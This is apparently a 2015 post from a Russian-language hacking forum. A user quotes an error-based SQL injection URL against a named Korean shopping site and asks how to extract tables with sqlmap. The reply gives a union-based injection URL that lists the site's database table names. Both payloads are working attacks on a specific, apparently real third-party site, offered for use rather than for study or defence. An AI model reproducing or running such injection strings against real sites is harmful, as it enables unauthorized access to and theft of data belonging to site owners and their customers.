24.10.2015, 01:05
|
|
Guest
Сообщений: n/a
Провел на форуме:
7285
Репутация:
0
|
|
Сообщение от xivi00
xivi00 said:
↑
http://www.navistory.kr/shop/m_navi_page.php?ps_pname=page_center&s_chk=3&id=(S ELECT+1+and+ROW(1,1)>(SELECT+COUNT(*),CONCAT(CHAR( 95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105) ,CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97), 0x3a,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CO LLATIONS+GROUP+BY+x)a)
sqlmap как в нем таблици вытащить что то чар не пагет(
Код:
Code:
http://www.navistory.kr/shop/m_navi_page.php?ps_pname=page_center&s_chk=3&id=-1/*! and 1=1 union select 1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15+from+information_schema.tables+where+table_schema=database()*/+--
|
|
|
|